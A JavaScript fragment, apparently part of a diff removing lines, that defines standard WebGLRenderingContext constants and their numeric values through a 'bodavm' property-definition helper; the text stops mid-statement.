-bodavm.toolsFunc.defineProperty('WebGLRenderingContext', "STREAM_DRAW", {configurable:false, enumerable:true, writable:false, value:35040}); -bodavm.toolsFunc.defineProperty('WebGLRenderingContext', "STATIC_DRAW", {configurable:false, enumerable:true, writable:false, value:35044}); -bodavm.toolsFunc.defineProperty('WebGLRenderingContext', "DYNAMIC_DRAW", {configurable:false, enumerable:true, writable:false, value:35048}); -bodavm.toolsFunc.defineProperty('WebGLRenderingContext', "BUFFER_SIZE", {configurable:false, enumerable:true, writable:false, value:34660}); -bodavm.toolsFunc.defineProperty('WebGLRenderingContext', "BUFFER_USAGE", {configurable:false, enumerable:true, writable:false, value:34661}); -bodavm.toolsFunc.defineProperty('WebGLRenderingContext', "CURRENT_VERTEX_ATTRIB", {configurable:false, enumerable:true, writable:false, value:34342}); -bodavm.toolsFunc.defineProperty('WebGLRenderingContext', "FRONT", {configurable:false, enumerable:true, writable:false, value:1028}); -bodavm.toolsFunc.defineProperty('WebGLRenderingContext', "BACK", {configurable:false, enumerable:true, writable:false, value:1029}); -bodavm.toolsFunc.defineProperty('WebGLRenderingContext', "FRONT_AND_BACK", {configurable:false, enumerable:true, writable:false, value:1032}); -bodavm.toolsFunc.defineProperty('WebGLRenderingContext', "TEXTURE_2D", {configurable:false, enumerable:true, writable:false, value:3553}); -bodavm.toolsFunc.defineProperty('WebGLRenderingContext', "CULL_FACE", {configurable:false, enumerable:true, writable:false, value:2884}); -bodavm.toolsFunc.defineProperty('WebGLRenderingContext', "BLEND", {configurable:false, enumerable:true, writable:false, value:3042}); -bodavm.toolsFunc.defineProperty('WebGLRenderingContext', "DITHER", {configurable:false, enumerable:true, writable:false, value:3024}); -bodavm.toolsFunc.defineProperty('WebGLRenderingContext', "STENCIL_TEST", {configurable:false, enumerable:true, writable:false, value:2960}); -bodavm.toolsFunc.defineProperty('WebGLRenderingContext', "DEPTH_TEST", {configurable:false, enumerable:true, writable:false, value:2929}); -bodavm.toolsFunc.defineProperty('WebGLRenderingContext', "SCISSOR_TEST", {configurable:false, enumerable:true, writable:false, value:3089}); -bodavm.toolsFunc.defineProperty('WebGLRenderingContext', "POLYGON_OFFSET_FILL", {configurable:false, enumerable:true, writable:false, value:32823}); -bodavm.toolsFunc.defineProperty('WebGLRenderingContext', "SAMPLE_ALPHA_TO_COVERAGE", {configurable:false, enumerable:true, writable:false, value:32926}); -bodavm.toolsFunc.defineProperty('WebGLRenderingContext', "SAMPLE_COVERAGE", {configurable:false, enumerable:true, writable:false, value:32928}); -bodavm.toolsFunc.defineProperty('WebGLRenderingContext', "NO_ERROR", {configurable:false, enumerable:true, writable:false, value:0}); -bodavm.toolsFunc.defineProperty('WebGLRenderingContext', "INVALID_ENUM", {configurable:false, enumerable:true, writable:false, value:1280}); -bodavm.toolsFunc.defineProperty('WebGLRenderingContext', "INVALID_VALUE", {configurable:false, enumerable:true, writable:false, value:1281}); -bodavm.toolsFunc.defineProperty('WebGLRenderingContext', "INVALID_OPERATION", {configurable:false, enumerable:true, writable:false, value:1282}); -bodavm.toolsFunc.defineProperty('WebGLRenderingContext', "OUT_OF_MEMORY", {configurable:false, enumerable:true, writable:false, value:1285}); -bodavm.toolsFunc.defineProperty('WebGLRenderingContext', "CW", {configurable:false, enumerable:true, writable:false, value:2304}); -bodavm.toolsFunc.defineProperty('WebGLRenderingContext', "CCW", {configurable:false, enumerable:true, writable:false, value:2305}); -bodavm.toolsFunc.defineProperty('WebGLRenderingContext', "LINE_WIDTH", {configurable:false, enumerable:true, writable:false, value:2849}); -bodavm.toolsFunc.defineProperty('WebGLRenderingContext', "ALIASED_POINT_SIZE_RANGE", {configurable:false, enumerable:true, writable:false, value:33901}); -bodavm.toolsFunc.defineProperty('WebGLRenderingContext', "ALIASED_LINE_WIDTH_RANGE", {configurable:false, enumerable:true, writable:false, value:33902}); -bodavm.toolsFunc.defineProperty('WebGLRenderingContext', "CULL_FACE_MODE", {configurable:false, enumerable:true, writable:false, value:2885}); -bodavm.toolsFunc.defineProperty('WebGLRenderingContext', "FRONT_FACE", {configurable:false, enumerable:true, writable:false, value:2886}); -bodavm.toolsFunc.defineProperty('WebGLRenderingContext', "DEPTH_RANGE", {configurable:false, enumerable:true, writable:false, value:2928}); -bodavm.toolsFunc.defineProperty('WebGLRenderingContext', "DEPTH_WRITEMASK", {configurable:false, enumerable:true, writable:false, value:2930}); -bodavm.toolsFunc.defineProperty('WebGLRenderingContext', "DEPTH_CLEAR_VALUE", {configurable:false, enumerable:true, writable:false, value:2931}); -bodavm.toolsFunc.defineProperty('WebGLRenderingContext', "DEPTH_FUNC", {configurable:false, enumerable:true, writable:false, value:2932}); -bodavm.toolsFunc.defineProperty('WebGLRenderingContext', "STENCIL_CLEAR_VALUE", {configurable:false, enumerable:true, writable:false, value:2961}); -bodavm.toolsFunc.defineProperty('WebGLRenderingContext', "STENCIL_FUNC", {configurable:false, enumerable:true, writable:false, value:2962}); -bodavm.toolsFunc.defineProperty('WebGLRenderingContext', "STENCIL_FAIL", {configurable:false, enumerable:true, writable:false, value:2964}); -bodavm.toolsFunc.defineProperty('WebGLRenderingContext', "STENCIL_PASS_DEPTH_FAIL", {configurable:false, enumerable:true, writable:false, value:2965}); -bodavm.toolsFunc.defineProperty('WebGLRenderingContext', "STENCIL_PASS_DEPTH_PASS", {configurable:false, enumerable:true, writable:false, value:2966}); -bodavm.toolsFunc.defineProperty('WebGLRenderingContext', "STENCIL_REF", {configurable:false, enumerable:true, writable:false, value:2967}); -bodavm.toolsFunc.defineProperty('WebGLRenderingContext', "STENCIL_VALUE_MASK", {configurable:false, enumerable:true, writable:false, value:2963}); -bodavm.toolsFunc.defineProperty('WebGLRenderingContext', "STENCIL_WRITEMASK", {configurable:false, enumerable:true, writable:false, value:2968}); -bodavm.toolsFunc.defineProperty('WebGLRenderingContext', "STENCIL_BACK_FUNC", {configurable:false, enumerable:true, writable:false, value:34816}); -bodavm.toolsFunc.defineProperty('WebGLRenderingContext', "STENCIL_BACK_FAIL", {configurable:false, enumerable:true, writable:false, value:34817}); -bodavm.toolsFunc.defineProperty('WebGLRenderingContext', "STENCIL_BACK_PASS_DEPTH_FAIL", {configurable:false, enumerable:true, writable:false, value:34818}); -bodavm.toolsFunc.defineProperty('WebGLRenderingContext', "STENCIL_BACK_PASS_DEPTH_PASS", {configurable:false, enumerable:true, writable:false, value:34819}); -bodavm.toolsFunc.defineProperty('WebGLRenderingContext', "STENCIL_BACK_REF", {configurable:false, enumerable:true, writable:false, value:36003}); -bodavm.toolsFunc.defineProperty('WebGLRenderingContext', "STENCIL_BACK_VALUE_MASK", {configurable:false, enumerable:true, writable:false, value:36004}); -bodavm.toolsFunc.defineProperty('WebGLRenderingContext', "STENCIL_BACK_WRITEMASK", {configurable:false, enumerable:true, writable:false, value:36005}); -bodavm.toolsFunc.defineProperty('WebGLRenderingContext', "VIEWPORT", {configurable:false, enumerable:true, writable:false, value:2978}); -bodavm.toolsFunc.defineProperty('WebGLRenderingContext', "SCISSOR_BOX", {configurable:false, enumerable:true, writable:false, value:3088}); -bodavm.toolsFunc.defineProperty('WebGLRenderingContext', "COLOR_CLEAR_VALUE", {configurable:false, enumerable:true, writable:false, value:3106}); -bodavm.toolsFunc.defineProperty('WebGLRenderingContext', "COLOR_WRITEMASK", {configurable:false, enumerable:true, writable:false, value:3107}); -bodavm.toolsFunc.defineProperty('WebGLRenderingContext', "UNPACK_ALIGNMENT", {configurable:false, enumerable:true, writable:false, value:3317}); -bodavm.toolsFunc.defineProperty('WebGLRenderingContext', "PACK_ALIGNMENT", {configurable:false, enumerable:true, writable:false, value:3333}); -bodavm.toolsFunc.defineProperty('WebGLRenderingContext', "MAX_TEXTURE_SIZE", {configurable:false, enumerable:true, writable:false, value:3379}); -bodavm.toolsFunc.defineProperty('WebGLRenderingContext', "MAX_VIEWPORT_DIMS", {configurable:false, enumerable:true, writable:false, value:3386}); -bodavm.toolsFunc.defineProperty('WebGLRenderingContext', "SUBPIXEL_BITS", {configurable:false, enumerable:true, writable:false, value:3408}); -bodavm.toolsFunc.defineProperty('WebGLRenderingContext', "RED_BITS", {configurable:false, enumerable:true, writable:false, value:3410}); -bodavm.toolsFunc.defineProperty('WebGLRenderingContext', "GREEN_BITS", {configurable:false, enumerable:true, writable:false, value:3411}); -bodavm.toolsFunc.defineProperty('WebGLRenderingContext', "BLUE_BITS", {configurable:false, enumerable:true, writable:false, value:3412}); -bodavm.toolsFunc.defineProperty('WebGLRenderingContext', "ALPHA_BITS", {configurable:false, enumerable:true, writable:false, value:3413}); -bodavm.toolsFunc.defineProperty('WebGLRenderingContext', "DEPTH_BITS", {configurable:false, enumerable:true, writable:false, value:3414}); -bodavm.toolsFunc.defineProperty('WebGLRenderingContext', "STENCIL_BITS", {configurable:false, enumerable:true, writable:false, value:3415}); -bodavm.toolsFunc.defineProperty('WebGLRenderingContext', "POLYGON_OFFSET_UNITS", {configurable:false, enumerable:true, writable:false, value:10752}); -bodavm.toolsFunc.defineProperty('WebGLRenderingContext', "POLYGON_OFFSET_FACTOR", {configurable:false, enumerable:true, writable:false, value:32824}); -bodavm.toolsFunc.defineProperty('WebGLRenderingContext', "TEXTURE_BINDING_2D", {configurable:false, enumerable:true, writable:false, value:32873}); -bodavm.toolsFunc.defineProperty('WebGLRenderingContext', "SAMPLE_BUFFERS", {configurable:false, enumerable:true, writable:false, value:32936}); -bodavm.toolsFunc.defineProperty('WebGLRenderingContext', "SAMPLES", {configurable:false, enumerable:true, writable:false, value:32937}); -bodavm.toolsFunc.defineProperty('WebGLRenderingContext', "SAMPLE_COVERAGE_VALUE", {configurable:false, enumerable:true, writable:false, value:32938}); -bodavm.toolsFunc.defineProperty('WebGLRenderingContext', "SAMPLE_COVERAGE_INVERT", {configurable:false, enumerable:true, writable:false, value:32939}); -bodavm.toolsFunc.defineProperty('WebGLRenderingContext', "COMPRESSED_TEXTURE_FORMATS", {configurable:false, enumerable:true, writable:false, value:34467}); -bodavm.toolsFunc.defineProperty('WebGLRenderingContext', "DONT_CARE", {configurable:false, enumerable:true, writable:false, value:4352}); -bodavm.toolsFunc.defineProperty('WebGLRenderingContext', "FASTEST", {configurable:false, enumerable:true, writable:false, value:4353}); -bodavm.toolsFunc.defineProperty('WebGLRenderingContext', "NICEST", {configurable:false, enumerable:true, writable:false, value:4354}); -bodavm.toolsFunc.defineProperty('WebGLRenderingContext', "GENERATE_MIPMAP_HINT", {configurable:false, enumerable:true, writable:false, value:33170}); -bodavm.toolsFunc.defineProperty('WebGLRenderingContext', "BYTE", {configurable:false, enumerable:true, writable:false, value:5120}); -bodavm.toolsFunc.defineProperty('WebGLRenderingContext', "UNSIGNED_BYTE", {configurable:false, enumerable:true, writable:false, value:5121}); -bodavm.toolsFunc.defineProperty('WebGLRenderingContext', "SHORT", {configurable:false, enumerable:true, writable:false, value:5122}); -bodavm.toolsFunc.defineProperty('WebGLRenderingContext', "UNSIGNED_SHORT", {configurable:false, enumerable:true, writable:false, value:5123}); -bodavm.toolsFunc.defineProperty('WebGLRenderingContext', "INT", {configurable:false, enumerable:true, writable:false, value:5124}); -bodavm.toolsFunc.defineProperty('WebGLRenderingContext', "UNSIGNED_INT", {configurable:false, enumerable:true, writable:false, value:5125}); -bodavm.toolsFunc.defineProperty('WebGLRenderingContext', "FLOAT", {configurable:false, enumerable:true, writable:false, value:5126}); -bodavm.toolsFunc.defineProperty('WebGLRenderingContext', "DEPTH_COMPONENT", {configurable:false, enumerable:true, writable:false, value:6402}); -bodavm.toolsFunc.defineProperty('WebGLRenderingContext', "ALPHA", {configurable:false, enumerable:true, writable:false, value:6406}); -bodavm.toolsFunc.defineProperty('WebGLRenderingContext', "RGB", {configurable:false, enumerable:true, writable:false, value:6407}); -bodavm.toolsFunc.defineProperty('WebGLRenderingContext', "RGBA", {configurable:false, enumerable:true, writable:false, value:6408}); -bodavm.toolsFunc.defineProperty('WebGLRenderingContext', "LUMINANCE", {configurable:false, enumerable:true, writable:false, value:6409}); -bodavm.toolsFunc.defineProperty('WebGLRenderingContext', "LUMINANCE_ALPHA", {configurable:false, enumerable:true, writable:false, value:6410}); -bodavm.toolsFunc.defineProperty('WebGLRenderingContext', "UNSIGNED_SHORT_4_4_4_4", {configurable:false, enumerable:true, writable:false, value:32819}); -bodavm.toolsFunc.defineProperty('WebGLRenderingContext', "UNSIGNED_SHORT_5_5_5_1", {configurable:false, enumerable:true, writable:false, value:32820}); -bodavm.toolsFunc.defineProperty('WebGLRenderingContext', "UNSIGNED_SHORT_5_6_5", {configurable:false, enumerable:true, writable:false, value:33635}); -bodavm.toolsFunc.defineProperty('WebGLRenderingContext', "FRAGMENT_SHADER", {configurable:false, enumerable:true, writable:false, value:35632}); -bodavm.toolsFunc.defineProperty('WebGLRenderingContext', "VERTEX_SHADER", {configurable:false, enumerable:true, writable:false, value:35633}); -bodavm.toolsFunc.defineProperty('WebGLRenderingContext', "MAX_VERTEX_ATTRIBS", {configurable:false, enumerable:true, writable:false, value:34921}); -bodavm.toolsFunc.defineProperty('WebGLRenderingContext', "MAX_VERTEX_UNIFORM_VECTORS", {configurable:false, enumerable:true, writable:false, value:36347}); -bodavm.toolsFunc.defineProperty('WebGLRenderingContext', "MAX_VARYING_VECTORS", {configurable:false, enumerable:true, writable:false, value:36348}); -bodavm.toolsFunc.defineProperty('WebGLRenderingContext', "MAX_COMBINED_TEXTURE_IMAGE_UNITS", {configurable:false, enumerable:true, writable:false, value:35661}); -bodavm.toolsFunc.defineProperty('WebGLRenderingContext', "MAX_VERTEX_TEXTURE_IMAGE_UNITS", {configurable:false, enumerable:true, writable:false, value:35660}); -bodavm.toolsFunc.defineProperty('WebGLRenderingContext', "MAX_TEXTURE_IMAGE_UNITS", {configurable:false, enumerable:true, writable:false, value:34930}); -bodavm.toolsFunc.defineProperty('WebGLRenderingContext', "MAX_FRAGMENT_UNIFORM_VECTORS", {configurable:false, enumerable:true, writable:false, value:36349}); -bodavm.toolsFunc.defineProperty('WebGLRenderingContext', "SHADER_TYPE", {configurable:false, enumerable:true, writable:false, value:35663}); -bodavm.toolsFunc.defineProperty('WebGLRenderingContext', "DELETE_STATUS", {configurable:false, enumerable:true, writable:false, value:35712}); -bodavm.toolsFunc.defineProperty('WebGLRenderingContext', "LINK_STATUS", {configurable:false, enumerable:true, writable:false, value:35714}); -bodavm.toolsFunc.defineProperty('WebGLRenderingContext', "VALIDATE_STATUS", {configurable:false, enumerable:true, writable:false, value:35715}); -bodavm.toolsFunc.defineProperty('WebGLRenderingContext', "ATTACHED_SHADERS", {configurable:false, enumerable:true, writable:false, value:35717}); -bodavm.toolsFunc.defineProperty('WebGLRenderingContext', "ACTIVE_UNIFORMS", {configurable:false, enumerable:true, writable:false, value:35718}); -bodavm.toolsFunc.defineProperty('WebGLRenderingContext', "ACTIVE_ATTRIBUTES", {configurable:false, enumerable:true, writable:false, value:35721}); -bodavm.toolsFunc.defineProperty('WebGLRenderingContext', "SHADING_LANGUAGE_VERSION", {configurable:false, enumerable:true, writable:false, value:35724}); -bodavm.toolsFunc.defineProperty('WebGLRenderingContext', "CURRENT_PROGRAM", {configurable:false, enumerable:true, writable:false, value:35725}); -bodavm.toolsFunc.defineProperty('WebGLRenderingContext', "NEVER", {configurable:false, enumerable:true, writable:false, value:512}); -bodavm.toolsFunc.defineProperty('WebGLRenderingContext', "LESS", {configurable:false, enumerable:true, writable:false, value:513}); -bodavm.toolsFunc.defineProperty('WebGLRenderingContext', "EQUAL", {configurable:false, enumerable:true, writable:false, value:514}); -bodavm.toolsFunc.defineProperty('WebGLRenderingContext', "LEQUAL", {configurable:false, enumerable:true, writable:false, value:515}); -bodavm.toolsFunc.defineProperty('WebGLRenderingContext', "GREATER", {configurable:false, enumerable:true, writable:false, value:516}); -bodavm.toolsFunc.defineProperty('WebGLRenderingContext', "NOTEQUAL", {configurable:false, enumerable:true, writable:false, value:517}); -bodavm.toolsFunc.defineProperty('WebGLRenderingContext', "GEQUAL", {configurable:false, enumerable:true, writable:false, value:518}); -bodavm.toolsFunc.defineProperty('WebGLRenderingContext', "ALWAYS", {configurable:false, enumerable:true, writable:false, value:519}); -bodavm.toolsFunc.defineProperty('WebGLRenderingContext', "KEEP", {configurable:false, enumerable:true, writable:false, value:7680}); -bodavm.toolsFunc.defineProperty('WebGLRenderingContext', "REPLACE", {configurable:false, enumerable:true, writable:false, value:7681}); -bodavm.toolsFunc.defineProperty('WebGLRenderingContext', "INCR", {configurable:false, enumerable:true, writable:false, value:7682}); -bodavm.toolsFunc.defineProperty('WebGLRenderingContext', "DECR", {configurable:false, enumerable:true, writable:false, value:7683}); -bodavm.toolsFunc.defineProperty('WebGLRenderingContext', "INVERT", {configurable:false, enumerable:true, writable:false, value:5386}); -bodavm.toolsFunc.defineProperty('WebGLRenderingContext', "INCR_WRAP", {configurable:false, enumerable:true, writable:false, value:34055}); -bodavm.toolsFunc.defineProperty('WebGLRenderingContext', "DECR_WRAP", {configurable:false, enumerable:true, writable:false, value:34056}); -bodavm.toolsFunc.defineProperty('WebGLRenderingContext', "VENDOR", {configurable:false, enumerable:true, writable:false, value:7936}); -bodavm.toolsFunc.defineProperty('WebGLRenderingContext', "RENDERER", {configurable:false, enumerable:true, writable:false, value:7937}); -bodavm.toolsFunc.defineProperty('WebGLRenderingContext', "VERSION", {configurable:false, enumerable:true, writable:false, value:7938}); -bodavm.toolsFunc.defineProperty('WebGLRenderingContext', "NEAREST", {configurable:false, enumerable:true, writable:false, value:9728}); -bodavm.toolsFunc.defineProperty('WebGLRenderingContext', "LINEAR", {configurable:false, enumerable:true, writable:false, value:9729}); -bodavm.toolsFunc.defineProperty('WebGLRenderingContext', "NEAREST_MIPMAP_NEAREST", {configurable:false, enumerable:true, writable:false, value:9984}); -bodavm.toolsFunc.defineProperty('WebGLRenderingContext', "LINEAR_MIPMAP_NEAREST", {configurable:false, enumerable:true, writable:false, value:9985}); -bodavm.toolsFunc.defineProperty('WebGLRenderingContext', "NEAREST_MIPMAP_LINEAR", {configurable:false, enumerable:true, writable:false, value:9986}); -bodavm.toolsFunc.defineProperty('WebGLRenderingContext', "LINEAR_MIPMAP_LINEAR", {configurable:false, enumerable:true, writable:false, value:9987}); -bodavm.toolsFunc.defineProperty('WebGLRenderingContext', "TEXTURE_MAG_FILTER", {configurable:false, enumerable:true, writable:false, value:10240}); -bodavm.toolsFunc.defineProperty('WebGLRenderingContext', "TEXTURE_MIN_FILTER", {configurable:false, enumerable:true, writable:false, value:10241}); -bodavm.toolsFunc.defineProperty('WebGLRenderingContext', "TEXTURE_WRAP_S", {configurable:false, enumerable:true, writable:false, value:10242}); -bodavm.toolsFunc.defineProperty('WebGLRenderingContext', "TEXTURE_WRAP_T", {configurable:false, enumerable:true, writable:false, value:10243}); -bodavm.toolsFunc.defineProperty('WebGLRenderingContext', "TEXTURE", {configurable:false, enumerable:true, writable:false, value:5890}); -bodavm.toolsFunc.defineProperty('WebGLRenderingContext', "TEXTURE_CUBE_MAP", {configurable:false, enumerable:true, writable:false, value:34067}); -bodavm.toolsFunc.defineProperty('WebGLRenderingContext', "TEXTURE_BINDING_CUBE_MAP", {configurable:false, enumerable:true, writable:false, value:34068}); -bodavm.toolsFunc.defineProperty('WebGLRenderingContext', "TEXTURE_CUBE_MAP_POSITIVE_X", {configurable:false, enumerable:true, writable:false, value:34069}); -bodavm.toolsFunc.defineProperty('WebGLRenderingContext', "TEXTURE_CUBE_MAP_NEGATIVE_X", {configurable:false, enumerable:true, writable:false, value:34070}); -bodavm.toolsFunc.defineProperty('WebGLRenderingContext', "TEXTURE_CUBE_MAP_POSITIVE_Y", {configurable:false, enumerable:true, writable:false, value:34071}); -bodavm.toolsFunc.defineProperty('WebGLRenderingContext', "TEXTURE_CUBE_MAP_NEGATIVE_Y", {configurable:false, enumerable:true, writable:false, value:34072}); -bodavm.toolsFunc.defineProperty('WebGLRenderingContext', "TEXTURE_CUBE_MAP_POSITIVE_Z", {configurable:false, enumerable:true, writable:false, value:34073}); -bodavm.toolsFunc.defineProperty('WebGLRenderingContext', "TEXTURE_CUBE_MAP_NEGATIVE_Z", {configurable:false, enumerable:true, writable:false, value:34074}); -bodavm.toolsFunc.defineProperty('WebGLRenderingContext', "MAX_CUBE_MAP_TEXTURE_SIZE", {configurable:false, enumerable:true, writable:false, value:34076}); -bodavm.toolsFunc.defineProperty('WebGLRenderingContext', "TEXTURE0", {configurable:false, enumerable:true, writable:false, value:33984}); -bodavm.toolsFunc.defineProperty('WebGLRenderingContext', "TEXTURE1", {configurable:false, enumerable:true, writable:false, value:33985}); -bodavm.toolsFunc.defineProperty('WebGLRenderingContext', "TEXTURE2", {configurable:false, enumerable:true, writable:false, value:33986}); -bodavm.toolsFunc.defineProperty('WebGLRenderingContext', "TEXTURE3", {configurable:false, enumerable:true, writable:false, value:33987}); -bodavm.toolsFunc.defineProperty('WebGLRenderingContext', "TEXTURE4", {configurable:false, enumerable:true, writable:false, value:33988}); -bodavm.toolsFunc.defineProperty('WebGLRenderingContext', "TEXTURE5", {configurable:false, enumerable:true, writable:false, value:33989}); -bodavm.toolsFunc.defineProperty('WebGLRenderingContext', "TEXTURE6", {configurable:false, enumerable:true, writable:false, value:33990}); -bodavm.toolsFunc.defineProperty('WebGLRenderingContext', "TEXTURE7", {configurable:false, enumerable:true, writable:false, value:33991}); -bodavm.toolsFunc.defineProperty('WebGLRenderingContext', "TEXTURE8", {configurable:false, enumerable:true, writable:false, value:33992}); -bodavm.toolsFunc.defineProperty('WebGLRenderingContext', "TEXTURE9", {configurable:false, enumerable:true, writable:false, value:33993}); -bodavm.toolsFunc.defineProperty('WebGLRenderingContext', "TEXTURE10", {configurable:false, enumerable:true, writable:false, value:33994}); -bodavm.toolsFunc.defineProperty('WebGLRenderingContext', "TEXTURE11", {configurable:false, enumerable:true, writable:false, value:33995}); -bodavm.toolsFunc.defineProperty('WebGLRenderingContext', "TEXTURE12", {configurable:false, enumerable:true, writable:false, value:33996}); -bodavm.toolsFunc.defineProperty('WebGLRenderingContext', "TEXTURE13", {configurable:false, enumerable:true, writable:false, value:33997}); -bodavm.toolsFunc.defineProperty('WebGLRenderingContext', "TEXTURE14", {configurable:false, enumerable:true, writable:false, value:33998}); -bodavm.toolsFunc.defineProperty('WebGLRenderingContext', "TEXTURE15", {configurable:false, enumerable:true, writable:false, value:33999}); -bodavm.toolsFunc.defineProperty('WebGLRenderingContext', "TEXTURE16", {configurable:false, enumerable:true, writable:false, value:34000}); -bodavm.toolsFunc.defineProperty('WebGLRenderingContext', "TEXTURE17", {configurable:false, enumerable:true, writable:false, value:34001}); -bodavm.toolsFunc.defineProperty('WebGLRenderingContext', "TEXTURE18", {configurable:false, enumerable:true, writable:false, value:34002}); -bodavm.toolsFunc.defineProperty('WebGLRenderingContext', "TEXTURE19", {configurable:false, enumerable:true, writable:false, value:34003}); -bodavm.toolsFunc.defineProperty('WebGLRenderingContext', "TEXTURE20", {configurable:false, enumerable:true, writable:false, value:34004}); -bodavm.toolsFunc.defineProperty('WebGLRenderingContext', "TEXTURE21", {configurable:false, enumerable:true, writable:false, value:34005}); -bodavm.toolsFunc.defineProperty('WebGLRenderingContext', "TEXTURE22", {configurable:false, enumerable:true, writable:false, value:34006}); -bodavm.toolsFunc.defineProperty('WebGLRenderingContext', "TEXTURE23", {configurable:false, enumerable:true, writable:false, value:34007}); -bodavm.toolsFunc.defineProperty('WebGLRenderingContext', "TEXTURE24", {configurable:false, enumerable:true, writable:false, value:34008}); -bodavm.toolsFunc.defineProperty('WebGLRenderingContext', "TEXTURE25", {configurable:false, enumerable:true, writable:false, value:34009}); -bodavm.toolsFunc.defineProperty('WebGLRenderingContext', "TEXTURE26", {configurable:false, enumerable:true, writable:false, value:34010}); -bodavm.toolsFunc.defineProperty('WebGLRenderingContext', "TEXTURE27", {configurable:false, enumerable:true, writable:false, value:34011}); -bodavm.toolsFunc.defineProperty('WebGLRenderingContext', "TEXTURE28", {configurable:false, enumerable:true, writable:false, value:34012}); -bodavm.toolsFunc.defineProperty('WebGLRenderingContext', "TEXTURE29", {configurable:false, enumerable:true, writable:false, value:34013}); -bodavm.toolsFunc.defineProperty('WebGLRenderingContext', "TEXTURE30", {configurable:false, enumerable:true, writable:false, value:34014}); -bodavm.toolsFunc.defineProperty('WebGLRenderingContext', "TEXTURE31", {configurable:false, enumerable:true, writable:false, value:34015}); -bodavm.toolsFunc.defineProperty('WebGLRenderingContext', "ACTIVE_TEXTURE", {configurable:false, enumerable:true, writable:false, value:34016}); -bodavm.toolsFunc.defineProperty('WebGLRenderingContext', "REPEAT", {configurable:false, enumerable:true, writable:false, value:10497}); -bodavm.toolsFunc.defineProperty('WebGLRenderingContext', "CLAMP_TO_EDGE", {configurable:false, enumerable:true, writable:false, value:33071}); -bodavm.toolsFunc.defineProperty('WebGLRenderingContext', "MIRRORED_REPEAT", {configurable:false, enumerable:true, writable:false, value:33648}); -bodavm.toolsFunc.defineProperty('WebGLRenderingContext', "FLOAT_VEC2", {configurable:false, enumerable:true, writable:false, value:35664}); -bodavm.toolsFunc.defineProperty('WebGLRenderingContext', "FLOAT_VEC3", {configurable:false, enumerable:true, writable:false, value:35665}); -bodavm.toolsFunc.defineProperty('WebGLRenderingContext', "FLOAT_VEC4", {configurable:false, enumerable:true, writable:false, value:35666}); -bodavm.toolsFunc.defineProperty('WebGLRenderingContext', "INT_VEC2", {configurable:false, enumerable:true, writable:false, value:35667}); -bodavm.toolsFunc.defineProperty('WebGLRenderingContext', "INT_VEC3", {configurable:false, enumerable:true, writable:false, value:35668}); -bodavm.toolsFunc.defineProperty('WebGLRenderingContext', "INT_VEC4", {configurable:false, enumerable:true, writable:false, value:35669}); -bodavm.toolsFunc.defineProperty('WebGLRenderingContext', "BOOL", {configurable:false, enumerable:true, writable:false, value:35670}); -bodavm.toolsFunc.defineProperty('WebGLRenderingContext', "BOOL_VEC2", {configurable:false, enumerable:true, writable:false, value:35671}); -bodavm.toolsFunc.defineProperty('WebGLRenderingContext', "BOOL_VEC3", {configurable:false, enumerable:true, writable:false, value:35672}); -bodavm.toolsFunc.defineProperty('WebGLRenderingContext', "BOOL_VEC4", {configurable:false, enumerable:true, writable:false, value:35673}); -bodavm.toolsFunc.defineProperty('WebGLRenderingContext', "FLOAT_MAT2", {configurable:false, enumerable:true, writable:false, value:35674}); -bodavm.toolsFunc.defineProperty('WebGLRenderingContext', "FLOAT_MAT3", {configurable:false, enumerable:true, writable:false, value:35675}); -bodavm.toolsFunc.defineProperty('WebGLRenderingContext', "FLOAT_MAT4", {configurable:false, enumerable:true, writable:false, value:35676}); -bodavm.toolsFunc.defineProperty('WebGLRenderingContext', "SAMPLER_2D", {configurable:false, enumerable:true, writable:false, value:35678}); -bodavm.toolsFunc.defineProperty('WebGLRenderingContext', "SAMPLER_CUBE", {configurable:false, enumerable:true, writable:false, value:35680}); -bodavm.toolsFunc.defineProperty('WebGLRenderingContext', "VERTEX_ATTRIB_ARRAY_ENABLED", {configurable:false, enumerable:true, writable:false, value:34338}); -bodavm.toolsFunc.defineProperty('WebGLRenderingContext', "VERTEX_ATTRIB_ARRAY_SIZE", {configurable:false, enumerable:true, writable:false, value:34339}); -bodavm.toolsFunc.defineProperty('WebGLRenderingContext', "VERTEX_ATTRIB_ARRAY_STRIDE", {configurable:false, enumerable:true, writable:false, value:34340}); -bodavm.toolsFunc.defineProperty('WebGLRenderingContext', "VERTEX_ATTRIB_ARRAY_TYPE", {configurable:false, enumerable:true, writable:false, value:34341}); -bodavm.toolsFunc.defineProperty('WebGLRenderingContext', "VERTEX_ATTRIB_ARRAY_NORMALIZED", {configurable:false, enumerable:true, writable:false, value:34922}); -bodavm.toolsFunc.defineProperty('WebGLRenderingContext', "VERTEX_ATTRIB_ARRAY_POINTER", {configurable:false, enumerable:true, writable:false, value:34373}); -bodavm.toolsFunc.defineProperty('WebGLRenderingContext', "VERTEX_ATTRIB_ARRAY_BUFFER_BINDING", {configurable:false, enumerable:true, writable:false, value:34975}); -bodavm.toolsFunc.defineProperty('WebGLRenderingContext', "IMPLEMENTATION_COLOR_READ_TYPE", {configurable:false, enumerable:true, writable:false, value:35738}); -bodavm.toolsFunc.defineProperty('WebGLRenderingContext', "IMPLEMENTATION_COLOR_READ_FORMAT", {configurable:false, enumerable:true, writable:false, value:35739}); -bodavm.toolsFunc.defineProperty('WebGLRenderingContext', "COMPILE_STATUS", {configurable:false, enumerable:true, writable:false, value:35713}); -bodavm.toolsFunc.defineProperty('WebGLRenderingContext', "LOW_FLOAT", {configurable:false, enumerable:true, writable:false, value:36336}); -bodavm.toolsFunc.defineProperty('WebGLRenderingContext', "MEDIUM_FLOAT", {configurable:false, enumerable:true, writable:false, value:36337}); -bodavm.toolsFunc.defineProperty('WebGLRenderingContext', "HIGH_FLOAT", {configurable:false, enumerable:true, writable:false, value:36338}); -bodavm.toolsFunc.defineProperty('WebGLRenderingContext', "LOW_INT", {configurable:false, enumerable:true, writable:false, value:36339}); -bodavm.toolsFunc.defineProperty('WebGLRenderingContext', "MEDIUM_INT", {configurable:false, enumerable:true, writable:false, value:36340}); -bodavm.toolsFunc.defineProperty('WebGLRenderingContext', "HIGH_INT", {configurable:false, enumerable:true, writable:false, value:36341}); -bodavm.toolsFunc.defineProperty('WebGLRenderingContext', "FRAMEBUFFER", {configurable:false, enumerable:true, writable:false, value:36160}); -bodavm.toolsFunc.defineProperty('WebGLRenderingContext', "RENDERBUFFER", {configurable:false, enumerable:true, writable:false, value:36161}); -bodavm.toolsFunc.defineProperty('WebGLRenderingContext', "RGBA4", {configurable:false, enumerable:true, writable:false, value:32854}); -bodavm.toolsFunc.defineProperty('WebGLRenderingContext', 